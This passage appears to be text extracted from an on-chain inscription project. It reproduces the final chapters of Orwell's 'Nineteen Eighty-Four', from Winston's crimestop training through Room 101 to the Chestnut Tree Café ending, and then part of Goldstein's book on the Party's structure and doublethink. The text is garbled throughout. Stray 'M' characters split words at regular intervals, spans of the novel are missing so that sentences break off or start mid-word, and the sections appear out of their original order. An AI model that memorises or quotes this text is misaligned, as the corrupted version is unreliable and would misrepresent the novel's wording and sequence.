ent he could not recall it. When he did recall it, it was only by consciously reasoning out what it must be; it did not come of its own accord. He wrote:
He accepted everything. The past was alterable. The past never had been altered. Oceania was at war with Eastasia. Oceania had always been at war with Eastasia. Jones, Aaronson, and Rutherford were guilty of the crimes they were charged with. He had never seen the photograph that disproved their guilt. It had never existed; he had invented it. He reM
membered remembering contrary things, but those were false memories, products of self-deception. How easy it all was! Only surrender, and everything else followed. It was like swimming against a current that swept you backwards however hard you struggled, and then suddenly deciding to turn round and go with the current instead of opposing it. Nothing had changed except your own attitude; the predestined thing happened in any case. He hardly knew why he had ever rebelled. Everything was easy, except
uld be true. The so-called laws of nature were nonsense. The law of gravity was nonsense. "If I wished," O'Brien had said, "I could float off this floor like a soap bubble." Winston worked it out. "If he thinks he floats off the floor, and if I simultaneously think I see him do it, then the thing happens." Suddenly, like a lump of submerged wreckage breaking the surface of water, the thought burst into his mind: "It doesn't really happen. We imagine it. It is hallucination." He pushed the thought under instantly. TM
he fallacy was obvious. It presupposed that somewhere or other, outside oneself, there was a "real" world where "real" things happened. But how could there be such a world? What knowledge have we of anything, save through our own minds? All happenings are in the mind. Whatever happens in all minds, truly happens.
He had no difficulty in disposing of the fallacy, and he was in no danger of succumbing to it. He realized, nevertheless, that it ought never to have occurred to him. The mind should develop a blind spot M
whenever a dangerous thought presented itself. The process should be automatic, instinctive. Crimestop, they called it in Newspeak.
He set to work to exercise himself in crimestop. He presented himself with propositions
"the Party says the earth is flat," "the Party says that ice is heavier than water"
and trained himself in not seeing or not understanding the arguments that contradicted them. It was not easy. It needed great powers of reasoning and improvisation. The arithmetical problems raised, for instanceM
, by such a statement as "two and two make five" were beyond his intellectual grasp. It needed also a sort of athleticism of mind, an ability at one moment to make the most delicate use of logic and at the next to be unconscious of the crudest logical errors. Stupidity was as necessary as intelligence, and as difficult to attain.
All the while, with one part of his mind, he wondered how soon they would shoot him. "Everything depends on yourself," O'Brien had said; but he knew that there was no conscious act by whiM
ch he could bring it nearer. It might be ten minutes hence, or ten years. They might keep him for years in solitary confinement; they might send him to a labor camp; they might release him for a while, as they sometimes did. It was perfectly possible that before he was shot the whole drama of his arrest and interrogation would be enacted all over again. The one certain thing was that death never came at an expected moment. The tradition
the unspoken tradition: somehow you knew it, though you never heard it said
was that they shot you from behind, always in the back of the head, without warning, as you walked down a corridor from cell to cell.
but "one day" was not the right expression; just as probably it was in the middle of the night: once
he fell into a strange, blissful reverie. He was walking down the corridor, waiting for the bullet. He knew that it was coming in another moment. Everything was settled, smoothed out, reconciled. There were no more doubts, no more arguments, no more pain, no more fear. HM
is body was healthy and strong. He walked easily, with a joy of movement and with a feeling of walking in sunlight. He was not any longer in the narrow white corridors of the Ministry of Love; he was in the enormous sunlit passage, a kilometer wide, down which he had seemed to walk in the delirium induced by drugs. He was in the Golden Country, following the foot track across the old rabbit-cropped pasture. He could feel the short springy turf under his feet and the gentle sunshine on his face. At the edge of the fM
ield were the elm trees, faintly stirring, and somewhere beyond that was the stream where the dace lay in the green pools under the willows.
Suddenly he started up with a shock of horror. The sweat broke out on his backbone. He had heard himself cry aloud:
"Julia! Julia! Julia, my love! Julia!"
For a moment he had had an overwhelming hallucination of her presence. She had seemed to be not merely with him, but inside him. It was as though she had got into the texture of his skin. In that moment he had loved her fM
ar more than he had ever done when they were together and free. Also he knew that somewhere or other she was still alive and needed his help.
He lay back on the bed and tried to compose himself. What had he done? How many years had he added to his servitude by that moment of weakness?
In another moment he would hear the tramp of boots outside. They could not let such an outburst go unpunished. They would know now, if they had not known before, that he was breaking the agreement he had made with them. He obeyed thM
e Party, but he still hated the Party. In the old days he had hidden a heretical mind beneath an appearance of conformity. Now he had retreated a step further: in the mind he had surrendered, but he had hoped to keep the inner heart inviolate. He knew that he was in the wrong, but he preferred to be in the wrong. They would understand that
O'Brien would understand it. It was all confessed in that single foolish cry.
He would have to start all over again. It might take years. He ran a hand over his face, trying tM
o familiarize himself with the new shape. There were deep furrows in the cheeks, the cheekbones felt sharp, the nose flattened. Besides, since last seeing himself in the glass he had been given a complete new set of teeth. It was not easy to preserve inscrutability when you did not know what your face looked like. In any case, mere control of the features was not enough. For the first time he perceived that if you want to keep a secret you must also hide it from yourself. You must know all the while that it is therM
e, but until it is needed you must never let it emerge into your consciousness in any shape that could be given a name. From now onwards he must not only think right; he must feel right, dream right. And all the while he must keep his hatred locked up inside him like a ball of matter which was part of himself and yet unconnected with the rest of him, a kind of cyst.
One day they would decide to shoot him. You could not tell when it would happen, but a few seconds beforehand it should be possible to guess. It was aM
lways from behind, walking down a corridor. Ten seconds would be enough. In that time the world inside him could turn over. And then suddenly, without a word uttered, without a check in his step, without the changing of a line in his face
suddenly the camouflage would be down and bang! would go the batteries of his hatred. Hatred would fill him like an enormous roaring flame. And almost in the same instant bang! would go the bullet, too late, or too early. They would have blown his brain to pieces before they couM
ld reclaim it. The heretical thought would be unpunished, unrepented, out of their reach forever. They would have blown a hole in their own perfection. To die hating them, that was freedom.
He shut his eyes. It was more difficult than accepting an intellectual discipline. It was a question of degrading himself, mutilating himself. He had got to plunge into the filthiest of filth. What was the most horrible, sickening thing of all? He thought of Big Brother. The enormous face (because of constantly seeing it on posM
ters he always thought of it as being a meter wide), with its heavy black mustache and the eyes that followed you to and fro, seemed to float into his mind of its own accord. What were his true feelings toward Big Brother?
There was a heavy tramp of boots in the passage. The steel door swung open with a clang. O'Brien walked into the cell. Behind him were the waxen-faced officer and the black-uniformed guards.
"Get up," said O'Brien. "Come here."
Winston stood opposite him. O'Brien took Winston's shoulders betweM
en his strong hands and looked at him closely.
"You have had thoughts of deceiving me," he said. "That was stupid. Stand up straighter. Look me in the face."
He paused, and went on in a gentler tone:
"You are improving. Intellectually there is very little wrong with you. It is only emotionally that you have failed to make progress. Tell me, Winston
and remember, no lies; you know that I am always able to detect a lie
tell me, what are your true feelings toward Big Brother?"
d. Then the time has come for you to take the last step. You must love Big Brother. It is not enough to obey him; you must love him."
He released Winston with a little push toward the guards.
"Room 101," he said.
At each stage of his imprisonment he had known, or seemed to know, whereabouts he was in the windowless building. Possibly there were slight differences in the air pressure. The cells where the guards had beaten him were below ground level. The room where he had been interrogated by O'Brien was high uM
p near the roof. This place was many meters underground, as deep down as it was possible to go.
It was bigger than most of the cells he had been in. But he hardly noticed his surroundings. All he noticed was that there were two small tables straight in front of him, each covered with green baize. One was only a meter or two from him; the other was further away, near the door. He was strapped upright in a chair, so tightly that he could move nothing, not even his head. A sort of pad gripped his head from behind, foM
rcing him to look straight in front of him.
For a moment he was alone, then the door opened and O'Brien came in.
"You asked me once," said O'Brien, "what was in Room 101. I told you that you knew the answer already. Everyone knows it. The thing that is in Room 101 is the worst thing in the world."
The door opened again. A guard came in, carrying something made of wire, a box or basket of some kind. He set it down on the further table. Because of the position in which O'Brien was standing, Winston could not see wM
"The worst thing in the world," said O'Brien, "varies from individual to individual. It may be burial alive, or death by fire, or by drowning, or by impalement, or fifty other deaths. There are cases where it is some quite trivial thing, not even fatal."
He had moved a little to one side, so that Winston had a better view of the thing on the table. It was an oblong wire cage with a handle on top for carrying it by. Fixed to the front of it was something that looked like a fencing mask, with theM
 concave side outwards. Although it was three or four meters away from him, he could see that the cage was divided lengthways into two compartments, and that there was some kind of creature in each. They were rats.
"In your case," said O'Brien, "the worst thing in the world happens to be rats."
A sort of premonitory tremor, a fear of he was not certain what, had passed through Winston as soon as he caught his first glimpse of the cage. But at this moment the meaning of the masklike attachment in front of it suddeM
nly sank into him. His bowels seemed to turn to water.
"You can't do that!" he cried out in a high cracked voice. "You couldn't, you couldn't! It's impossible."
"Do you remember," said O'Brien, "the moment of panic that used to occur in your dreams? There was a wall of blackness in front of you, and a roaring sound in your ears. There was something terrible on the other side of the wall. You knew that you knew what it was, but you dared not drag it into the open. It was the rats that were on the other side of theM
"O'Brien!" said Winston, making an effort to control his voice. "You know this is not necessary. What is it that you want me to do?"
O'Brien made no direct answer. When he spoke it was in the schoolmasterish manner that he sometimes affected. He looked thoughtfully into the distance, as though he were addressing an audience somewhere behind Winston's back.
"By itself," he said, "pain is not always enough. There are occasions when a human being will stand out against pain, even to the point of death. But M
for everyone there is something unendurable
something that cannot be contemplated. Courage and cowardice are not involved. If you are falling from a height it is not cowardly to clutch at a rope. If you have come up from deep water it is not cowardly to fill your lungs with air. It is merely an instinct which cannot be disobeyed. It is the same with the rats. For you, they are unendurable. They are a form of pressure that you cannot withstand, even if you wished to. You will do what is required of you."
t is it, what is it? How can I do it if I don't know what it is?"
O'Brien picked up the cage and brought it across to the nearer table. He set it down carefully on the baize cloth. Winston could hear the blood singing in his ears. He had the feeling of sitting in utter loneliness. He was in the middle of a great empty plain, a flat desert drenched with sunlight, across which all sounds came to him out of immense distances. Yet the cage with the rats was not two meters away from him. They were enormous rats. They wM
ere at the age when a rat's muzzle grows blunt and fierce and his fur brown instead of gray.
"The rat," said O'Brien, still addressing his invisible audience, "although a rodent, is carnivorous. You are aware of that. You will have heard of the things that happen in the poor quarters of this town. In some streets a woman dare not leave her baby alone in the house, even for five minutes. The rats are certain to attack it. Within quite a small time they will strip it to the bones. They also attack sick or dying peopM
le. They show astonishing intelligence in knowing when a human being is helpless."
There was an outburst of squeals from the cage. It seemed to reach Winston from far away. The rats were fighting; they were trying to get at each other through the partition. He heard also a deep groan of despair. That, too, seemed to come from outside himself.
O'Brien picked up the cage, and, as he did so, pressed something in it. There was a sharp click. Winston made a frantic effort to tear himself loose from the chair. It was hM
opeless: every part of him, even his head, was held immovably. O'Brien moved the cage nearer. It was less than a meter from Winston's face.
"I have pressed the first lever," said O'Brien. "You understand the construction of this cage. The mask will fit over your head, leaving no exit. When I press this other lever, the door of the cage will slide up. These starving brutes will shoot out of it like bullets. Have you ever seen a rat leap through the air? They will leap onto your face and bore straight into it. SometM
imes they attack the eyes first. Sometimes they burrow through the cheeks and devour the tongue."
The cage was nearer; it was closing in. Winston heard a succession of shrill cries which appeared to be occurring in the air above his head. But he fought furiously against his panic. To think, to think, even with a split second left
to think was the only hope. Suddenly the foul musty odor of the brutes struck his nostrils. There was a violent convulsion of nausea inside him, and he almost lost consciousness. EverytM
hing had gone black. For an instant he was insane, a screaming animal. Yet he came out of the blackness clutching an idea. There was one and only one way to save himself. He must interpose another human being, the body of another human being, between himself and the rats.
The circle of the mask was large enough now to shut out the vision of anything else. The wire door was a couple of hand-spans from his face. The rats knew what was coming now. One of them was leaping up and down; the other, an old scaly grandfathM
er of the sewers, stood up, with his pink hands against the bars, and fiercely snuffed the air. Winston could see the whiskers and the yellow teeth. Again the black panic took hold of him. He was blind, helpless, mindless.
"It was a common punishment in Imperial China," said O'Brien as didactically as ever.
The mask was closing on his face. The wire brushed his cheek. And then
no, it was not relief, only hope, a tiny fragment of hope. Too late, perhaps too late. But he had suddenly understood that in the whole M
world there was just one person to whom he could transfer his punishment
one body that he could thrust between himself and the rats. And he was shouting frantically, over and over:
"Do it to Julia! Do it to Julia! Not me! Julia! I don't care what you do to her. Tear her face off, strip her to the bones. Not me! Julia! Not me!"
He was falling backwards, into enormous depths, away from the rats. He was still strapped in the chair, but he had fallen through the floor, through the walls of the building, through theM
 earth, through the oceans, through the atmosphere, into outer space, into the gulfs between the stars
always away, away, away from the rats. He was light-years distant, but O'Brien was still standing at his side. There was still the cold touch of a wire against his cheek. But through the darkness that enveloped him he heard another metallic click, and knew that the cage door had clicked shut and not open.
The Chestnut Tree was almost empty. A ray of sunlight slanting through a window fell yellow on dusty tabM
letops. It was the lonely hour of fifteen. A tinny music trickled from the telescreens.
Winston sat in his usual corner, gazing into an empty glass. Now and again he glanced up at a vast face which eyed him from the opposite wall. Big Brother Is Watching You, the caption said. Unbidden, a waiter came and filled his glass up with Victory Gin, shaking into it a few drops from another bottle with a quill through the cork. It was saccharine flavored with cloves, the speciality of the caf
Winston was listening to tM
he telescreen. At present only music was coming out of it, but there was a possibility that at any moment there might be a special bulletin from the Ministry of Peace. The news from the African front was disquieting in the extreme. On and off he had been worrying about it all day. A Eurasian army (Oceania was at war with Eurasia; Oceania had always been at war with Eurasia) was moving southward at terrifying speed. The mid-day bulletin had not mentioned any definite area, but it was probable that already the mouth M
of the Congo was a battlefield. Brazzaville and Leopoldville were in danger. One did not have to look at the map to see what it meant. It was not merely a question of losing Central Africa; for the first time in the whole war, the territory of Oceania itself was menaced.
A violent emotion, not fear exactly but a sort of undifferentiated excitement, flared up in him, then faded again. He stopped thinking about the war. In these days he could never fix his mind on any one subject for more than a few moments at a timM
e. He picked up his glass and drained it at a gulp. As always, it made him shudder and even retch slightly. The stuff was horrible. The cloves and saccharine, themselves disgusting enough in their sickly way, could not disguise the flat oily smell; and what was worst of all was that the smell of gin, which dwelt with him night and day, was inextricably mixed up in his mind with the smell of those
He never named them, even in his thoughts, and so far as it was possible he never visualized them. They were somethiM
ng that he was half aware of, hovering close to his face, a smell that clung to his nostrils. As the gin rose in him he belched through purple lips. He had grown fatter since they released him, and had regained his old color
indeed, more than regained it. His features had thickened, the skin on nose and cheekbones was coarsely red, even the bald scalp was too deep a pink. A waiter, again unbidden, brought the chessboard and the current issue of the Times, with the page turned down at the chess problem. Then, seeiM
ng that Winston's glass was empty, he brought the gin bottle and filled it. There was no need to give orders. They knew his habits. The chessboard was always waiting for him, his corner table was always reserved; even when the place was full he had it to himself, since nobody cared to be seen sitting too close to him. He never even bothered to count his drinks. At irregular intervals they presented him with a dirty slip of paper which they said was the bill, but he had the impression that they always undercharged hM
im. It would have made no difference if it had been the other way about. He had always plenty of money nowadays. He even had a job, a sinecure, more highly paid than his old job had been.
The music from the telescreen stopped and a voice took over. Winston raised his head to listen. No bulletin from the front, however. It was merely a brief announcement from the Ministry of Plenty. In the preceding quarter, it appeared, the Tenth Three-Year Plan's quota for bootlaces had been overfulfilled by ninety-eight per centM
He examined the chess problem and set out the pieces. It was a tricky ending, involving a couple of knights. "White to play and mate in two moves." Winston looked up at the portrait of Big Brother. White always mates, he thought with a sort of cloudy mysticism. Always, without exception, it is so arranged. In no chess problem since the beginning of the world has black ever won. Did it not symbolize the eternal, unvarying triumph of Good over Evil? The huge face gazed back at him, full of calm power. White alwaysM
The voice from the telescreen paused and added in a different and much graver tone: "You are warned to stand by for an important announcement at fifteen-thirty. Fifteen-thirty! This is news of the highest importance. Take care not to miss it. Fifteen-thirty!" The tinkling music struck up again.
Winston's heart stirred. That was the bulletin from the front; instinct told him that it was bad news that was coming. All day, with little spurts of excitement, the thought of a smashing defeat in Africa had been M
in and out of his mind. He seemed actually to see the Eurasian army swarming across the never-broken frontier and pouring down into the tip of Africa like a column of ants. Why had it not been possible to outflank them in some way? The outline of the West African coast stood out vividly in his mind. He picked up the white knight and moved it across the board. There was the proper spot. Even while he saw the black horde racing southward he saw another force, mysteriously assembled, suddenly planted in their rear, cuM
tting their communications by land and sea. He felt that by willing it he was bringing that other force into existence. But it was necessary to act quickly. If they could get control of the whole of Africa, if they had airfields and submarine bases at the Cape, it would cut Oceania in two. It might mean anything: defeat, breakdown, the redivision of the world, the destruction of the Party! He drew a deep breath. An extraordinary medley of feelings
but it was not a medley, exactly; rather it was successive layers M
of feeling, in which one could not say which layer was undermost
struggled inside him.
The spasm passed. He put the white knight back in its place, but for the moment he could not settle down to serious study of the chess problem. His thoughts wandered again. Almost unconsciously he traced with his finger in the dust on the table:
"They can't get inside you," she had said. But they could get inside you. "What happens to you here is forever," O'Brien had said. That was a true word. There were things, M
your own acts, from which you could not recover. Something was killed in your breast; burnt out, cauterized out.
He had seen her; he had even spoken to her. There was no danger in it. He knew as though instinctively that they now took almost no interest in his doings. He could have arranged to meet her a second time if either of them had wanted to. Actually it was by chance that they had met. It was in the Park, on a vile, biting day in March, when the earth was like iron and all the grass seemed dead and there waM
s not a bud anywhere except a few crocuses which had pushed themselves up to be dismembered by the wind. He was hurrying along with frozen hands and watering eyes when he saw her not ten meters away from him. It struck him at once that she had changed in some ill-defined way. They almost passed one another without a sign; then he turned and followed her, not very eagerly. He knew that there was no danger, nobody would take any interest in them. She did not speak. She walked obliquely away across the grass as thoughM
 trying to get rid of him, then seemed to resign herself to having him at her side. Presently they were in among a clump of ragged leafless shrubs, useless either for concealment or as protection from the wind. They halted. It was vilely cold. The wind whistled through the twigs and fretted the occasional, dirty-looking crocuses. He put his arm round her waist.
There was no telescreen, but there must be hidden microphones; besides, they could be seen. It did not matter, nothing mattered. They could have lain down M
on the ground and done that if they had wanted to. His flesh froze with horror at the thought of it. She made no response whatever to the clasp of his arm; she did not even try to disengage herself. He knew now what had changed in her. Her face was sallower, and there was a long scar, partly hidden by the hair, across her forehead and temple; but that was not the change. It was that her waist had grown thicker and, in a surprising way, had stiffened. He remembered how once, after the explosion of a rocket bomb, he M
had helped to drag a corpse out of some ruins, and had been astonished not only by the incredible weight of the thing, but by its rigidity and awkwardness to handle, which made it seem more like stone than flesh. Her body felt like that. It occurred to him that the texture of her skin would be quite different from what it had once been.
He did not attempt to kiss her, nor did they speak. As they walked back across the grass she looked directly at him for the first time. It was only a momentary glance, full of contM
empt and dislike. He wondered whether it was a dislike that came purely out of the past or whether it was inspired also by his bloated face and the water that the wind kept squeezing from his eyes. They sat down on two iron chairs, side by side but not too close together. He saw that she was about to speak. She moved her clumsy shoe a few centimeters and deliberately crushed a twig. Her feet seemed to have grown broader, he noticed.
"I betrayed you," she said baldly.
"I betrayed you," he said.
er quick look of dislike.
"Sometimes," she said, "they threaten you with something
something you can't stand up to, can't even think about. And then you say, 'Don't do it to me, do it to somebody else, do it to so-and-so.' And perhaps you might pretend, afterwards, that it was only a trick and that you just said it to make them stop and didn't really mean it. But that isn't true. At the time when it happens you do mean it. You think there's no other way of saving yourself, and you're quite ready to save yourselfM
 that way. You want it to happen to the other person. You don't give a damn what they suffer. All you care about is yourself."
"All you care about is yourself," he echoed.
"And after that, you don't feel the same toward the other person any longer."
"No," he said, "you don't feel the same."
There did not seem to be anything more to say. The wind plastered their thin overalls against their bodies. Almost at once it became embarrassing to sit there in silence; besides, it was too cold to keep still. She said someM
thing about catching her Tube and stood up to go.
"We must meet again," he said.
"Yes," she said, "we must meet again."
He followed irresolutely for a little distance, half a pace behind her. They did not speak again. She did not actually try to shake him off, but walked at just such a speed as to prevent his keeping abreast of her. He had made up his mind that he would accompany her as far as the Tube station, but suddenly this process of trailing along in the cold seemed pointless and unbearable. He was overwhM
elmed by a desire not so much to get away from Julia as to get back to the Chestnut Tree Caf
, which had never seemed so attractive as at this moment. He had a nostalgic vision of his corner table, with the newspaper and the chessboard and the ever-flowing gin. Above all, it would be warm in there. The next moment, not altogether by accident, he allowed himself to become separated from her by a small knot of people. He made a half-hearted attempt to catch up, then slowed down, turned and made off in the opposite dM
irection. When he had gone fifty meters he looked back. The street was not crowded, but already he could not distinguish her. Any one of a dozen hurrying figures might have been hers. Perhaps her thickened, stiffened body was no longer recognizable from behind.
"At the time when it happens," she had said, "you do mean it." He had meant it. He had not merely said it, he had wished it. He had wished that she and not he should be delivered over to the
Something changed in the music that trickled from the telesM
creen. A cracked and jeering note, a yellow note, came into it. And then
perhaps it was not happening, perhaps it was only a memory taking on the semblance of sound
a voice was singing:
"Under the spreading chestnut tree
I sold you and you sold me
The tears welled up in his eyes. A passing waiter noticed that his glass was empty and came back with the gin bottle.
He took up his glass and sniffed at it. The stuff grew not less but more horrible with every mouthful he drank. But it had become the element heM
 swam in. It was his life, his death, and his resurrection. It was gin that sank him into stupor every night, and gin that revived him every morning. When he woke, seldom before eleven hundred, with gummed-up eyelids and fiery mouth and a back that seemed to be broken, it would have been impossible even to rise from the horizontal if it had not been for the bottle and teacup placed beside the bed overnight. Through the mid-day hours he sat with glazed face, the bottle handy, listening to the telescreen. From fifteeM
n to closing time he was a fixture in the Chestnut Tree. No one cared what he did any longer, no whistle woke him, no telescreen admonished him. Occasionally, perhaps twice a week, he went to a dusty, forgotten-looking office in the Ministry of Truth and did a little work, or what was called work. He had been appointed to a sub-committee of a sub-committee which had sprouted from one of the innumerable committees dealing with minor difficulties that arose in the compilation of the Eleventh Edition of the Newspeak dM
ictionary. They were engaged in producing something called an Interim Report, but what it was that they were reporting on he had never definitely found out. It was something to do with the question of whether commas should be placed inside brackets, or outside. There were four others on the committee, all of them persons similar to himself. There were days when they assembled and then promptly dispersed again, frankly admitting to one another that there was not really anything to be done. But there were other days M
when they settled down to their work almost eagerly, making a tremendous show of entering up their minutes and drafting long memoranda which were never finished
when the argument as to what they were supposedly arguing about grew extraordinarily involved and abstruse, with subtle hagglings over definitions, enormous digressions, quarrels
threats, even, to appeal to higher authority. And then suddenly the life would go out of them and they would sit round the table looking at one another with extinct eyes, like M
ghosts fading at cock-crow.
The telescreen was silent for a moment. Winston raised his head again. The bulletin! But no, they were merely changing the music. He had the map of Africa behind his eyelids. The movement of the armies was a diagram: a black arrow tearing vertically southward, and a white arrow tearing horizontally eastward, across the tail of the first. As though for reassurance he looked up at the imperturbable face in the portrait. Was it conceivable that the second arrow did not even exist?
erest flagged again. He drank another mouthful of gin, picked up the white knight, and made a tentative move. Check. But it was evidently not the right move, because
Uncalled, a memory floated into his mind. He saw a candle-lit room with a vast white-counterpaned bed, and himself, a boy of nine or ten, sitting on the floor, shaking a dice box and laughing excitedly. His mother was sitting opposite him and also laughing.
It must have been about a month before she disappeared. It was a moment of reconciliation, M
when the nagging hunger in his belly was forgotten and his earlier affection for her had temporarily revived. He remembered the day well, a pelting, drenching day when the water streamed down the window pane and the light indoors was too dull to read by. The boredom of the two children in the dark, cramped bedroom became unbearable. Winston whined and grizzled, made futile demands for food, fretted about the room, pulling everything out of place and kicking the wainscoting until the neighbors banged on the wall, whM
ile the younger child wailed intermittently. In the end his mother had said, "Now be good, and I'll buy you a toy. A lovely toy
you'll love it"; and then she had gone out in the rain, to a little general shop which was still sporadically open near by, and come back with a cardboard box containing an outfit of Snakes and Ladders. He could still remember the smell of the damp cardboard. It was a miserable outfit. The board was cracked and the tiny wooden dice were so ill-cut that they would hardly lie on their sideM
s. Winston looked at the thing sulkily and without interest. But then his mother lit a piece of candle and they sat down on the floor to play. Soon he was wildly excited and shouting with laughter as the tiddlywinks climbed hopefully up the ladders and then came slithering down the snakes again, almost back to the starting point. They played eight games, winning four each. His tiny sister, too young to understand what the game was about, had sat propped up against a bolster, laughing because the others were laughinM
g. For a whole afternoon they had all been happy together, as in his earlier childhood.
He pushed the picture out of his mind. It was a false memory. He was troubled by false memories occasionally. They did not matter so long as one knew them for what they were. Some things had happened, others had not happened. He turned back to the chessboard and picked up the white knight again. Almost in the same instant it dropped onto the board with a clatter. He had started as though a pin had run into him.
t call had pierced the air. It was the bulletin! Victory! It always meant victory when a trumpet call preceded the news. A sort of electric thrill ran through the caf
. Even the waiters had started and pricked up their ears.
The trumpet call had let loose an enormous volume of noise. Already an excited voice was gabbling from the telescreen, but even as it started it was almost drowned by a roar of cheering from outside. The news had run round the streets like magic. He could hear just enough of what was issuing M
from the telescreen to realize that it had all happened as he had foreseen: a vast seaborne armada secretly assembled, a sudden blow in the enemy's rear, the white arrow tearing across the tail of the black. Fragments of triumphant phrases pushed themselves through the din: "Vast strategic maneuver
perfect co-ordination
half a million prisoners
complete demoralization
control of the whole of Africa
bring the war within measurable distance of its end
greatest victory in human histoM
victory, victory, victory!"
Under the table Winston's feet made convulsive movements. He had not stirred from his seat, but in his mind he was running, swiftly running, he was with the crowds outside, cheering himself deaf. He looked up again at the portrait of Big Brother. The colossus that bestrode the world! The rock against which the hordes of Asia dashed themselves in vain! He thought how ten minutes ago
yes, only ten minutes
there had still been equivocation in his heart as he wondered whether the nM
ews from the front would be of victory or defeat. Ah, it was more than a Eurasian army that had perished! Much had changed in him since that first day in the Ministry of Love, but the final, indispensable, healing change had never happened, until this moment.
The voice from the telescreen was still pouring forth its tale of prisoners and booty and slaughter, but the shouting outside had died down a little. The waiters were turning back to their work. One of them approached with the gin bottle. Winston, sitting in M
a blissful dream, paid no attention as his glass was filled up. He was not running or cheering any longer. He was back in the Ministry of Love, with everything forgiven, his soul white as snow. He was in the public dock, confessing everything, implicating everybody. He was walking down the white-tiled corridor, with the feeling of walking in sunlight, and an armed guard at his back. The long-hoped-for bullet was entering his brain.
He gazed up at the enormous face. Forty years it had taken him to learn what kind oMQ
f smile was hidden beneath the dark mustache. O cruel, needless misunderstanding! O stubborn, self-willed exile from the loving breast! Two gin-scented tears trickled down the sides of his nose. But it was all right, everything was all right, the struggle was finished. He had won the victory over himself. He loved Big Brother.
text/plain;charset=utf-8
The following piece is part of the George Ordwell project; an ordinal project inscribing notable works on-chain as artefacts.
Title: Nineteen Eighty-Four
------------------------------------------------------------------
Between the two branches of the Party there is a certain amount of interchange, but only so much as will ensure that weaklings are excluded from the Inner Party and that ambitious members of the Outer Party are made harmless by allowing them to rise. Proletarians, in pM
ractice, are not allowed to graduate into the Party. The most gifted among them, who might possibly become nuclei of discontent, are simply marked down by the Thought Police and eliminated. But this state of affairs is not necessarily permanent, nor is it a matter of principle. The Party is not a class in the old sense of the word. It does not aim at transmitting power to its own children, as such; and if there were no other way of keeping the ablest people at the top, it would be perfectly prepared to recruit an eM
ntire new generation from the ranks of the proletariat. In the crucial years, the fact that the Party was not a hereditary body did a great deal to neutralize opposition. The older kind of Socialist, who had been trained to fight against something called "class privilege," assumed that what is not hereditary cannot be permanent. He did not see that the continuity of an oligarchy need not be physical, nor did he pause to reflect that hereditary aristocracies have always been short-lived, whereas adoptive organizatioM
ns such as the Catholic Church have sometimes lasted for hundreds or thousands of years. The essence of oligarchical rule is not father-to-son inheritance, but the persistence of a certain world-view and a certain way of life, imposed by the dead upon the living. A ruling group is a ruling group so long as it can nominate its successors. The Party is not concerned with perpetuating its blood but with perpetuating itself. Who wields power is not important, provided that the hierarchical structure remains always the M
All the beliefs, habits, tastes, emotions, mental attitudes that characterize our time are really designed to sustain the mystique of the Party and prevent the true nature of present-day society from being perceived. Physical rebellion, or any preliminary move toward rebellion, is at present not possible. From the proletarians nothing is to be feared. Left to themselves, they will continue from generation to generation and from century to century, working, breeding, and dying, not only without any impulse toM
 rebel, but without the power of grasping that the world could be other than it is. They could only become dangerous if the advance of industrial technique made it necessary to educate them more highly; but, since military and commercial rivalry are no longer important, the level of popular education is actually declining. What opinions the masses hold, or do not hold, is looked on as a matter of indifference. They can be granted intellectual liberty because they have no intellect. In a Party member, on the other hM
and, not even the smallest deviation of opinion on the most unimportant subject can be tolerated.
A Party member lives from birth to death under the eye of the Thought Police. Even when he is alone he can never be sure that he is alone. Wherever he may be, asleep or awake, working or resting, in his bath or in bed, he can be inspected without warning and without knowing that he is being inspected. Nothing that he does is indifferent. His friendships, his relaxations, his behavior toward his wife and children, the M
expression of his face when he is alone, the words he mutters in sleep, even the characteristic movements of his body, are all jealously scrutinized. Not only any actual misdemeanor, but any eccentricity, however small, any change of habits, any nervous mannerism that could possibly be the symptom of an inner struggle, is certain to be detected. He has no freedom of choice in any direction whatever. On the other hand, his actions are not regulated by law or by any clearly formulated code of behavior. In Oceania theM
re is no law. Thoughts and actions which, when detected, mean certain death are not formally forbidden, and the endless purges, arrests, tortures, imprisonments, and vaporizations are not inflicted as punishment for crimes which have actually been committed, but are merely the wiping-out of persons who might perhaps commit a crime at some time in the future. A Party member is required to have not only the right opinions, but the right instincts. Many of the beliefs and attitudes demanded of him are never plainly stM
ated, and could not be stated without laying bare the contradictions inherent in Ingsoc. If he is a person naturally orthodox (in Newspeak, a goodthinker), he will in all circumstances know, without taking thought, what is the true belief or the desirable emotion. But in any case an elaborate mental training, undergone in childhood and grouping itself round the Newspeak words crimestop, blackwhite, and doublethink, makes him unwilling and unable to think too deeply on any subject whatever.
A Party member is expectM
ed to have no private emotions and no respites from enthusiasm. He is supposed to live in a continuous frenzy of hatred of foreign enemies and internal traitors, triumph over victories, and self-abasement before the power and wisdom of the Party. The discontents produced by his bare, unsatisfying life are deliberately turned outwards and dissipated by such devices as the Two Minutes Hate, and the speculations which might possibly induce a skeptical or rebellious attitude are killed in advance by his early acquired M
inner discipline. The first and simplest stage in the discipline, which can be taught even to young children, is called, in Newspeak, crimestop. Crimestop means the faculty of stopping short, as though by instinct, at the threshold of any dangerous thought. It includes the power of not grasping analogies, of failing to perceive logical errors, of misunderstanding the simplest arguments if they are inimical to Ingsoc, and of being bored or repelled by any train of thought which is capable of leading in a heretical dM
irection. Crimestop, in short, means protective stupidity. But stupidity is not enough. On the contrary, orthodoxy in the full sense demands a control over one's own mental processes as complete as that of a contortionist over his body. Oceanic society rests ultimately on the belief that Big Brother is omnipotent and that the Party is infallible. But since in reality Big Brother is not omnipotent and the Party is not infallible, there is need for an unwearying, moment-to-moment flexibility in the treatment of factsM
. The key word here is blackwhite. Like so many Newspeak words, this word has two mutually contradictory meanings. Applied to an opponent, it means the habit of impudently claiming that black is white, in contradiction of the plain facts. Applied to a Party member, it means a loyal willingness to say that black is white when Party discipline demands this. But it means also the ability to believe that black is white, and more, to know that black is white, and to forget that one has ever believed the contrary. This dM
emands a continuous alteration of the past, made possible by the system of thought which really embraces all the rest, and which is known in Newspeak as doublethink.
The alteration of the past is necessary for two reasons, one of which is subsidiary and, so to speak, precautionary. The subsidiary reason is that the Party member, like the proletarian, tolerates present-day conditions partly because he has no standards of comparison. He must be cut off from the past, just as he must be cut off from foreign countriesM
, because it is necessary for him to believe that he is better off than his ancestors and that the average level of material comfort is constantly rising. But by far the more important reason for the readjustment of the past is the need to safeguard the infallibility of the Party. It is not merely that speeches, statistics, and records of every kind must be constantly brought up to date in order to show that the predictions of the Party were in all cases right. It is also that no change in doctrine or in political M
